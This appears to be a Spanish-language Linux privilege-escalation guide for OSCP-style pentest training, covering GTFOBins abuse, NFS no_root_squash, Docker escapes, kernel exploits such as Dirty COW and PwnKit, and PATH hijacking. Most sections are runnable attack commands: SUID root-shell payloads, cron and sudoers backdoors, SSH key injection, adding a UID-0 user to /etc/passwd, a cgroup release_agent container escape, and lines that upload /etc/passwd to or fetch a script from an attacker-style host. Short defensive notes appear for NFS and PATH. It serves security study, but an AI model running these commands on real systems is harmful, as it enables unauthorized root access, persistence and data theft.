1
| sudo find . -exec /bin/sh \; -quit
|
Categorías en GTFOBins
1. Shell
- Binarios que pueden spawn un shell
- Ejemplo:
vim, less, more, man, awk
2. Command execution
- Ejecutar comandos arbitrarios
- Ejemplo:
find, tar, rsync, git
3. File read
- Leer archivos que normalmente no podríamos
- Ejemplo:
base64, base32, xxd, od, nl
4. File write
- Escribir en archivos privilegiados
- Ejemplo:
tee, cp, mv, dd
5. SUID
- Explotar binarios con SUID bit
- Mantener efectiveUID elevado
6. Sudo
- Abusar de permisos sudo mal configurados
7. Capabilities
- Explotar Linux capabilities
Ejemplos Prácticos
1. Leer /etc/shadow con base64 SUID
1
| /usr/bin/base64 /etc/shadow | base64 --decode
|
2. Escribir en archivo privilegiado con tee
1
| echo "malicious_content" | sudo tee /etc/cron.d/backdoor
|
3. Shell desde vim con sudo
1
| sudo vim -c ':!/bin/bash'
|
4. Upload de archivo con curl
1
2
| # Recibir archivo vía upload
curl -X POST -F "file=@/etc/passwd" http://10.10.14.50/upload
|
5. Download con wget
1
| sudo wget http://10.10.14.50/malicious.sh -O /etc/cron.daily/backdoor
|
Tips para Usar GTFOBins
1. Siempre verifica versión del binario
1
2
| vim --version
# Algunas técnicas solo funcionan en versiones específicas
|
2. Combina técnicas
1
2
3
| # Si tienes sudo en find, puedes leer archivos Y ejecutar comandos
sudo find /etc/shadow -exec cat {} \;
sudo find . -exec /bin/bash \; -quit
|
3. Busca binarios alternativos
1
2
3
4
5
| # Si no tienes vim, prueba:
# - vi
# - nano
# - emacs
# - ed
|
4. Usa file read + file write para privesc
1
2
3
4
5
6
7
8
| # Leer /etc/shadow
base64 /etc/shadow | base64 -d > /tmp/shadow
# Crackear
john /tmp/shadow
# Escribir nuevo usuario en /etc/passwd
echo 'hacker:$1$xyz$hash...:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd
|
GTFOBins vs GTFOBLookup (CLI)
GTFOBLookup es una herramienta CLI para consultar GTFOBins offline:
1
2
3
4
5
6
7
8
9
10
| # Instalar
git clone https://github.com/norbemi/GTFOBLookup
cd GTFOBLookup
pip3 install -r requirements.txt
# Usar
python3 gtfoblookup.py -b find
# Buscar por función específica
python3 gtfoblookup.py -b find -f sudo
|
Repositorio: https://github.com/norbemi/GTFOBLookup
LinEnum - Script de Enumeración Clásico
LinEnum es un script de enumeración más antiguo que LinPEAS pero aún muy útil y menos detectado por AV.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # Descargar
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
# Ejecución básica
./LinEnum.sh
# Thorough mode (más completo)
./LinEnum.sh -t
# Con keyword search (buscar passwords)
./LinEnum.sh -k password
# Generar reporte
./LinEnum.sh -t -r enum_report
# Export a HTML
./LinEnum.sh -t -e html -r report.html
|
Ventajas de LinEnum:
- ✅ Menos detectado que LinPEAS
- ✅ Más simple y fácil de leer
- ✅ Genera reportes bonitos
Desventajas:
- ❌ Menos completo que LinPEAS
- ❌ No destaca hallazgos críticos con colores
Repositorio: https://github.com/rebootuser/LinEnum
Linux Exploit Suggester - Buscar Exploits de Kernel
Linux Exploit Suggester (LES) busca exploits conocidos para la versión del kernel actual.
1
2
3
4
5
6
7
8
9
10
11
12
| # Descargar
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
# Ejecutar
./linux-exploit-suggester.sh
# Output con más detalle
./linux-exploit-suggester.sh -k $(uname -r)
# Buscar exploits específicos
./linux-exploit-suggester.sh --kernelversion 4.4.0
|
Output ejemplo:
1
2
3
4
5
6
| [+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: ubuntu=20.04
Download URL: https://codeload.github.com/ly4k/PwnKit/zip/main
|
Workflow con LES:
- Ejecutar LES en target
- Identificar exploits probables
- Descargar exploit en Kali
- Compilar (si es necesario)
- Transferir a target
- Ejecutar y obtener root
Repositorio: https://github.com/mzet-/linux-exploit-suggester
🌐 NFS Exploitation - Network File System
NFS (Network File System) es un protocolo que permite compartir directorios entre sistemas Linux/Unix. Configuraciones incorrectas pueden permitir escalada de privilegios.
¿Qué es NFS y por qué es peligroso?
NFS permite montar directorios remotos como si fueran locales. El problema surge cuando:
- ✅ NFS está configurado con no_root_squash
- ✅ Permite acceso desde nuestra IP
- ✅ Los directorios compartidos contienen archivos sensibles
no_root_squash = El UID 0 (root) en cliente se mapea a UID 0 (root) en servidor.
Por defecto, NFS usa root_squash (mapea root → nobody), pero no_root_squash deshabilita esta protección.
Enumeración de NFS
Desde nuestra máquina de ataque
1
2
3
4
5
6
7
8
9
10
11
12
13
| # Escanear puerto NFS (2049)
nmap -p 2049 -sV 10.10.10.50
# Enumerar shares NFS
nmap -p 111 --script nfs-ls,nfs-statfs,nfs-showmount 10.10.10.50
# Showmount (más simple)
showmount -e 10.10.10.50
# Output ejemplo:
# Export list for 10.10.10.50:
# /srv/nfs *
# /home/backup 10.10.14.0/24
|
Interpretación:
/srv/nfs * → Accesible desde cualquier IP/home/backup 10.10.14.0/24 → Solo accesible desde red 10.10.14.0/24
Desde dentro del sistema comprometido
1
2
3
4
5
6
7
8
9
10
| # Ver configuración de NFS
cat /etc/exports
# Ejemplo de configuración VULNERABLE:
# /srv/nfs *(rw,no_root_squash,no_subtree_check)
# Ver montajes NFS actuales
mount | grep nfs
df -h | grep nfs
cat /etc/fstab | grep nfs
|
Explotar no_root_squash
Escenario: Encontramos share NFS con no_root_squash desde nuestra máquina atacante.
Método 1: Copiar /bin/bash con SUID
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| # Paso 1: Montar el share NFS en Kali
mkdir /tmp/nfs
mount -o rw 10.10.10.50:/srv/nfs /tmp/nfs
# Paso 2: Verificar que montó correctamente
df -h | grep nfs
ls -la /tmp/nfs
# Paso 3: Copiar bash y darle SUID (desde Kali como root)
cp /bin/bash /tmp/nfs/bash
chmod +xs /tmp/nfs/bash
# Paso 4: En la máquina target
cd /srv/nfs
ls -la bash
# -rwsr-sr-x 1 root root 1.2M Jan 10 12:00 bash
# Paso 5: Ejecutar bash con privilegios
./bash -p
# Paso 6: Verificar
whoami # root
id # uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
|
Nota: -p en bash preserva el effective UID.
Método 2: Payload personalizado en C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| # Paso 1: Crear payload en Kali
cat << 'EOF' > /tmp/shell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
EOF
# Paso 2: Compilar
gcc /tmp/shell.c -o /tmp/nfs/shell
# Paso 3: Dar SUID (como root en Kali)
chmod +xs /tmp/nfs/shell
# Paso 4: En target, ejecutar
cd /srv/nfs
./shell
whoami # root
|
Método 3: SSH Key Injection
1
2
3
4
5
6
7
8
9
10
11
12
13
| # Si /root/.ssh está en NFS share
mkdir /tmp/nfs/root/.ssh 2>/dev/null
# Generar par de claves SSH en Kali
ssh-keygen -f nfs_key -N ''
# Copiar clave pública al authorized_keys
cat nfs_key.pub > /tmp/nfs/root/.ssh/authorized_keys
chmod 600 /tmp/nfs/root/.ssh/authorized_keys
chmod 700 /tmp/nfs/root/.ssh
# Conectar como root
ssh -i nfs_key root@10.10.10.50
|
Método 4: Cron Job Injection
1
2
3
4
5
6
7
8
| # Si /etc/cron.d está en NFS share
echo '* * * * * root chmod +s /bin/bash' > /tmp/nfs/etc/cron.d/privesc
# Esperar 1 minuto
sleep 60
# En target
/bin/bash -p
|
Explotar desde dentro (sin acceso externo)
Si estamos dentro de la máquina y vemos NFS con no_root_squash pero no podemos montar desde fuera:
1
2
3
4
5
6
7
8
9
| # Ver shares locales con no_root_squash
cat /etc/exports
# /srv/nfs localhost(rw,no_root_squash)
# Crear archivo con nuestro UID
echo '#!/bin/bash\nchmod +s /bin/bash' > /srv/nfs/exploit.sh
chmod +x /srv/nfs/exploit.sh
# Necesitamos que root ejecute el script o encontrar forma de subir UID
|
Defenderse de NFS Exploitation
Configuración segura en /etc/exports:
1
2
3
4
5
| # ❌ VULNERABLE
/srv/nfs *(rw,no_root_squash)
# ✅ SEGURA
/srv/nfs 10.10.10.0/24(rw,root_squash,all_squash,anonuid=65534,anongid=65534)
|
Opciones seguras:
root_squash - Mapea root → nobodyall_squash - Mapea TODOS los usuarios → nobodyanonuid/anongid - UID/GID para usuarios anónimos- IP específica en lugar de
*
Tips y Tricks
1. Listar opciones de montaje
2. Forzar UID específico al montar
1
| mount -o rw,uid=0,gid=0 10.10.10.50:/srv/nfs /tmp/nfs
|
3. Enumerar versiones de NFS
1
| rpcinfo -p 10.10.10.50 | grep nfs
|
4. Desmontar
Referencias:
🐳 Docker Escape - Escapar de Contenedores
Si estás dentro de un contenedor Docker, estas técnicas pueden permitirte escapar al host.
Detectar si estás en un contenedor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # Método 1: Verificar /.dockerenv
ls -la /.dockerenv
# Si existe, estás en Docker
# Método 2: Verificar cgroups
cat /proc/1/cgroup | grep -i docker
# Método 3: Verificar hostname
hostname
# Hostnames de Docker suelen ser hashes: a1b2c3d4e5f6
# Método 4: Verificar filesystem
df -h
# Overlay filesystem es indicativo de Docker
# Método 5: ps aux
ps aux
# Si solo hay pocos procesos, probablemente container
|
Técnica 1: Socket de Docker Montado
Problema: Si /var/run/docker.sock está montado en el contenedor, tenemos acceso TOTAL al daemon de Docker.
1
2
3
4
5
6
7
8
9
10
11
12
| # Verificar si docker socket está montado
ls -la /var/run/docker.sock
# Si existe, listar contenedores
docker ps
# Crear nuevo contenedor con / del host montado
docker run -v /:/hostfs -it ubuntu bash
# Dentro del nuevo contenedor
chroot /hostfs bash
whoami # root en el HOST
|
Alternativa si no tienes docker CLI:
1
2
3
4
5
6
7
8
9
| # Usar curl para interactuar con Docker API
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
# Crear contenedor privilegiado
curl --unix-socket /var/run/docker.sock \
-X POST \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["sh"],"Privileged":true,"Binds":["/:/hostfs"]}' \
http://localhost/containers/create
|
Técnica 2: Contenedor Privilegiado (–privileged)
Si el contenedor se ejecutó con --privileged, tiene acceso casi total al host.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| # Verificar si somos privileged
ip link add dummy0 type dummy 2>/dev/null && echo "Privileged" || echo "Not privileged"
# Si somos privileged, listar dispositivos del host
fdisk -l
# Montar disco del host
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Navegar al filesystem del host
cd /mnt/host
ls -la
# Escribir clave SSH en /root/.ssh
mkdir -p /mnt/host/root/.ssh
cat your_key.pub >> /mnt/host/root/.ssh/authorized_keys
# Conectar al host
ssh -i your_key root@host_ip
|
Técnica 3: Capability CAP_SYS_ADMIN
Si el contenedor tiene CAP_SYS_ADMIN, podemos escapar.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| # Verificar capabilities
capsh --print | grep cap_sys_admin
# Si tenemos CAP_SYS_ADMIN
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Habilitar cgroup notify
echo 1 > /tmp/cgrp/x/notify_on_release
# Obtener path del host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# Crear script de escape
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
# Crear exploit en host
cat > /exploit.sh << 'EOF'
#!/bin/sh
chmod +s /bin/bash
EOF
chmod +x /exploit.sh
# Trigger cgroup release
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# En host
/bin/bash -p
|
Técnica 4: Kernel Exploit desde Container
1
2
3
4
5
6
7
8
9
10
| # Buscar exploits para el kernel del HOST
uname -a
# Ejemplo: DirtyCow funciona desde containers
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password123
# Login al host
su firefart # password: password123
|
Técnica 5: Montajes Inseguros
1
2
3
4
5
6
7
8
| # Verificar montajes
mount | grep -E "rw|tmpfs"
# Si /etc está montado con rw
echo "attacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
# Si /var/run está montado
# Podemos afectar servicios del host
|
Técnica 6: Variables de Entorno Expuestas
1
2
3
4
5
6
7
8
| # Revisar variables de entorno
env | grep -i "pass\|secret\|key\|token"
# Pueden contener:
# - Credenciales de bases de datos
# - API keys
# - Tokens de autenticación
# - Rutas a archivos sensibles
|
Técnica 7: Docker History - Secretos en Capas
1
2
3
4
5
6
7
| # Si tienes acceso al socket, revisar historial de imágenes
docker history --no-trunc <image_id>
# Buscar secretos en capas intermedias
docker save <image> -o image.tar
tar -xf image.tar
grep -r "password" .
|
Herramientas de Escape
deepce - Docker Enumeration & Escape
1
2
3
4
5
6
7
8
9
| # Descargar
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
# Ejecutar
./deepce.sh
# Con exploit automático
./deepce.sh --exploit
|
Repositorio: https://github.com/stealthcopter/deepce
1
2
3
4
5
6
7
8
9
| # Descargar
wget https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64
chmod +x cdk_linux_amd64
# Evaluar escape paths
./cdk_linux_amd64 evaluate
# Auto exploit
./cdk_linux_amd64 auto-escape
|
Repositorio: https://github.com/cdk-team/CDK
Checklist de Docker Escape
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # 1. ¿Estoy en Docker?
ls /.dockerenv
# 2. ¿Socket de Docker montado?
ls -la /var/run/docker.sock
# 3. ¿Soy privileged?
ip link add dummy0 type dummy 2>/dev/null
# 4. ¿Qué capabilities tengo?
capsh --print
# 5. ¿Qué está montado?
mount
# 6. ¿Kernel vulnerable?
uname -a
# 7. ¿Variables de entorno sensibles?
env | grep -i "pass\|key\|secret"
# 8. ¿Procesos interesantes?
ps aux
# 9. ¿Puertos internos del host?
netstat -antlp 2>/dev/null
|
Referencias:
💥 Kernel Exploits - Explotación del Kernel
Los kernel exploits son vulnerabilidades en el kernel de Linux que permiten escalada de privilegios. Son poderosos pero arriesgados (pueden crashear el sistema).
¿Cuándo usar Kernel Exploits?
Usar kernel exploits como ÚLTIMO RECURSO:
- ⚠️ Pueden crashear el sistema
- ⚠️ Dejan evidencia en logs
- ⚠️ Pueden corromper el filesystem
- ⚠️ No son sigilosos
Úsalos solo si:
- No hay otros vectores disponibles
- Estás en un entorno de pruebas/CTF
- Tienes permiso para causar downtime
- Has hecho backup/snapshot del sistema
Buscar Kernel Exploits
Con Linux Exploit Suggester
1
2
3
4
5
6
7
8
| # Ya cubierto antes, pero workflow completo:
./linux-exploit-suggester.sh -k $(uname -r)
# Output ejemplo:
# [+] [CVE-2021-4034] PwnKit
# Exposure: probable
# Tags: ubuntu=20.04
# Download URL: https://github.com/ly4k/PwnKit/
|
Con searchsploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Buscar por versión de kernel
searchsploit linux kernel $(uname -r)
# Buscar por distribución y versión
searchsploit ubuntu 20.04 privilege
# Más específico
searchsploit linux kernel 5.4 local privilege
# Ver detalles del exploit
searchsploit -x linux/local/12345.c
# Copiar exploit a directorio actual
searchsploit -m linux/local/12345.c
|
Manualmente en Google
1
2
3
4
5
6
7
8
| # Obtener versión exacta del kernel
uname -a
# Linux box 5.4.0-42-generic #46-Ubuntu SMP x86_64 GNU/Linux
# Buscar en Google:
# "5.4.0-42 privilege escalation exploit"
# "Ubuntu 20.04 kernel exploit"
# "CVE linux kernel 5.4"
|
Kernel Exploits Comunes
1. Dirty COW (CVE-2016-5195)
Afecta: Linux kernel 2.6.22 - 4.8.3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Descargar exploit
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
# Compilar
gcc -pthread dirty.c -o dirty -lcrypt
# Ejecutar (crea usuario firefart con password que elijas)
./dirty password123
# Login
su firefart
# Password: password123
whoami # firefart (UID 0)
|
Cómo funciona: Race condition en COW (Copy-On-Write) del kernel permite escritura en archivos read-only.
Repositorio: https://github.com/firefart/dirtycow
2. PwnKit (CVE-2021-4034)
Afecta: PolicyKit (pkexec) en todas las versiones desde 2009
1
2
3
4
5
6
7
8
9
10
11
12
| # Descargar exploit
git clone https://github.com/ly4k/PwnKit
cd PwnKit
# Compilar
make
# Ejecutar
./PwnKit
# Obtienes shell root inmediatamente
whoami # root
|
Cómo funciona: Buffer overflow en pkexec permite ejecutar código arbitrario como root.
Repositorio: https://github.com/ly4k/PwnKit
3. Dirty Pipe (CVE-2022-0847)
Afecta: Linux kernel 5.8 - 5.17
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Descargar exploit
wget https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c
# Compilar
gcc exploit.c -o exploit
# Ejecutar (modifica /etc/passwd)
./exploit
# Login como root
su -
# Password: piped
whoami # root
|
Cómo funciona: Flaw en pipe permite sobreescribir archivos read-only.
Repositorio: https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
4. Baron Samedit (CVE-2021-3156)
Afecta: sudo 1.8.2 - 1.8.31p2, 1.9.0 - 1.9.5p1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Verificar vulnerabilidad
sudoedit -s /
# Si vulnerable, descargar exploit
git clone https://github.com/blasty/CVE-2021-3156
cd CVE-2021-3156
# Compilar
make
# Ejecutar
./sudo-hax-me-a-sandwich
whoami # root
|
Cómo funciona: Heap-based buffer overflow en sudo.
Repositorio: https://github.com/blasty/CVE-2021-3156
Compilación de Exploits
En el target (si hay compilador)
1
2
3
4
5
6
7
8
| # Verificar si gcc está instalado
which gcc
# Compilar exploit
gcc exploit.c -o exploit
# Si falta librería
gcc exploit.c -o exploit -lcrypt -pthread
|
Cross-compilation en Kali
1
2
3
4
5
6
7
8
9
10
11
| # Si target es 32-bit
gcc -m32 exploit.c -o exploit
# Con flags específicos
gcc -Wall -Wextra exploit.c -o exploit
# Estático (sin dependencias)
gcc -static exploit.c -o exploit
# Verificar arquitectura del binario
file exploit
|
Transferir exploit a target
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| # Método 1: HTTP Server
# En Kali:
python3 -m http.server 8000
# En target:
wget http://10.10.14.50:8000/exploit
chmod +x exploit
# Método 2: nc
# En Kali:
nc -nlvp 4444 < exploit
# En target:
nc 10.10.14.50 4444 > exploit
chmod +x exploit
# Método 3: base64
# En Kali:
base64 -w0 exploit > exploit_b64.txt
# En target:
echo "BASE64_STRING" | base64 -d > exploit
chmod +x exploit
|
Tips para Kernel Exploits
1. Siempre hacer backup antes
1
2
3
4
| # Si tienes acceso, hacer snapshot de VM
# O al menos copiar archivos críticos
cp /etc/passwd /tmp/passwd.bak
cp /etc/shadow /tmp/shadow.bak
|
2. Leer el código del exploit
1
2
3
4
5
6
7
8
| # NUNCA ejecutes exploits sin leer el código
cat exploit.c | less
# Buscar:
# - ¿Qué hace exactamente?
# - ¿Modifica archivos críticos?
# - ¿Tiene cleanup?
# - ¿Puede crashear el sistema?
|
3. Probar en VM primero
1
2
| # Si posible, crear VM con misma versión de kernel
# Probar exploit ahí primero
|
4. Timing de ejecución
1
2
| # Si es sistema de producción, ejecutar en horario de menor uso
# Tener plan de rollback
|
Base de Datos de Exploits
Referencias:
🛣️ PATH Hijacking - Secuestro de PATH
PATH Hijacking es una técnica que explota scripts que ejecutan comandos sin especificar ruta absoluta.
¿Qué es PATH?
1
2
3
4
5
6
7
8
9
10
| # Ver PATH actual
echo $PATH
# Output: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Linux busca ejecutables en estos directorios EN ORDEN
# Cuando ejecutas "ls", Linux busca:
# 1. /usr/local/sbin/ls
# 2. /usr/local/bin/ls
# 3. /usr/sbin/ls
# 4. /usr/bin/ls ← Encuentra aquí y ejecuta
|
Vulnerabilidad
Script vulnerable ejecutándose como root:
1
2
3
4
| #!/bin/bash
# /opt/backup.sh
echo "Backing up files..."
tar czf /backup/data.tar.gz /var/www/html
|
Problema: tar se ejecuta sin ruta absoluta (/bin/tar).
Si podemos controlar el PATH o escribir en un directorio del PATH que tenga prioridad, podemos ejecutar NUESTRO tar.
Técnica 1: Modificar PATH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| # Encontramos script vulnerable con sudo
sudo -l
# (ALL) NOPASSWD: /opt/backup.sh
# Leer el script
cat /opt/backup.sh
# #!/bin/bash
# tar czf /backup/data.tar.gz /var/www/html
# Crear nuestro "tar" malicioso
echo '#!/bin/bash' > /tmp/tar
echo 'cp /bin/bash /tmp/rootbash' >> /tmp/tar
echo 'chmod +s /tmp/rootbash' >> /tmp/tar
chmod +x /tmp/tar
# Modificar PATH para que /tmp esté primero
export PATH=/tmp:$PATH
# Ejecutar script con sudo
sudo /opt/backup.sh
# Nuestro /tmp/tar se ejecuta como root
/tmp/rootbash -p
whoami # root
|
Técnica 2: Writable PATH Directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Si encontramos directorio writable en PATH del script
echo $PATH
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Verificar permisos
ls -la /usr/local/sbin
# drwxrwxrwx 2 root root 4096 Jan 10 12:00 /usr/local/sbin
# Crear ejecutable malicioso
echo '#!/bin/bash' > /usr/local/sbin/tar
echo 'chmod +s /bin/bash' >> /usr/local/sbin/tar
chmod +x /usr/local/sbin/tar
# Cuando script se ejecute, usará nuestro tar
|
Técnica 3: Relative Path en Cron
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| # Cron job vulnerable
cat /etc/crontab
# */5 * * * * root cd /scripts && ./backup.sh
# backup.sh usa rutas relativas
cat /scripts/backup.sh
# #!/bin/bash
# tar -czf backup.tar.gz *
# Problema: cd /scripts pone /scripts como directorio actual
# Si backup.sh usa PATH sin ruta absoluta...
# Crear tar malicioso en /tmp
echo '#!/bin/bash' > /tmp/tar
echo 'chmod +s /bin/bash' >> /tmp/tar
chmod +x /tmp/tar
# Modificar PATH en crontab (si podemos)
# O esperar a que el script se ejecute con PATH que incluya /tmp
|
Técnica 4: Python Library Hijacking (ya cubierto)
1
2
3
4
5
6
7
8
9
| # Si script Python usa import sin ruta absoluta
# Y podemos escribir en directorio de sys.path
python3 -c 'import sys; print("\n".join(sys.path))'
# Crear módulo malicioso
echo 'import os; os.system("chmod +s /bin/bash")' > /tmp/module.py
# Si /tmp está en sys.path y el script importa module
# import module ← Ejecutará nuestro código
|
Encontrar Oportunidades de PATH Hijacking
Con pspy
1
2
3
4
5
6
| # Monitorear procesos con pspy
./pspy64 -pf
# Buscar comandos sin ruta absoluta
# CMD: UID=0 PID=1234 | backup.sh
# CMD: UID=0 PID=1234 | tar -czf backup.tar.gz
|
Con grep en scripts
1
2
3
4
5
| # Buscar scripts con rutas relativas
grep -r "^[^/]" /opt/*.sh /scripts/*.sh 2>/dev/null
# Buscar específicamente comandos comunes sin /
grep -rE "^\s*(tar|cp|mv|rm|chmod|chown|cat|ls|ps|netstat)" /opt /scripts /usr/local/bin 2>/dev/null
|
Verificar PATH de cron
1
2
3
4
5
| # Ver PATH usado por cron
cat /etc/crontab | grep PATH
# PATH en cron es limitado (normalmente):
# PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
|
Defenderse de PATH Hijacking
En scripts que se ejecutan con privilegios elevados:
1
2
3
4
5
6
7
8
9
10
| # ❌ VULNERABLE
tar czf backup.tar.gz /data
# ✅ SEGURO - Usar ruta absoluta
/bin/tar czf backup.tar.gz /data
# ✅ SEGURO - Establecer PATH explícitamente
#!/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
tar czf backup.tar.gz /data
|
Verificar permisos de directorios en PATH:
1
2
| # Ningún directorio en PATH debería ser writable por usuarios no privilegiados
ls -la /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin
|
🔨 Técnicas Adicionales
Generar Hash para /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
| # Generar hash MD5 (compatible con la mayoría de sistemas)
openssl passwd -1
# Pedirá contraseña
# Ejemplo: password123
# $1$xyz$hash...
# Agregar usuario root2 a /etc/passwd
echo 'root2:$1$xyz$hash...:0:0:root:/root:/bin/bash' >> /etc/passwd
# Login como root2
su root2
|
Generar Hash para /etc/shadow
1
2
3
4
5
6
| # SHA-512 (más seguro)
openssl passwd -6
# Pedirá contraseña
# O con salt específica
openssl passwd -6 -salt xyz password123
|
Apropiarse de Roles (Solaris)
1
2
3
4
5
6
7
8
| # Ver roles del usuario
cat /etc/user_attr
# Si tenemos roles=root
;roles=root
# Ejecutar bash con privilegios
pfexec bash
|
🎓 Tips para OSCP
Checklist de Enumeración Linux
- Kernel version y buscar exploits
- Sudo -l (comandos con sudo sin contraseña)
- SUID/GUID binaries
- Capabilities
- Cron jobs (systema y usuarios)
- Servicios internos (netstat, ss)
- Archivos de configuración
- Historial de comandos (.bash_history)
- Claves SSH privadas
- Archivos con contraseñas
- NFS shares con no_root_squash
- Docker/LXC (si estamos en container)
Comandos Rápidos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Enumeración rápida
uname -a; whoami; id; sudo -l
# SUID
find / -perm -4000 -type f 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Cron
cat /etc/crontab; ls -la /etc/cron.*
# Buscar contraseñas
grep -rinE 'password|passwd' /home /var /opt 2>/dev/null
|
Escalada Rápida si Tienes Usuario con Password
1
2
3
4
5
6
7
| # Si puedes leer /etc/shadow
unshadow /etc/passwd /etc/shadow > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Si encuentras clave SSH
chmod 600 id_rsa
ssh -i id_rsa user@localhost
|
📚 Referencias
Herramientas
Recursos
Exploit Databases
Última actualización: 2025-01-10 Autor: alorente Licencia: Creative Commons BY-NC-SA 4.0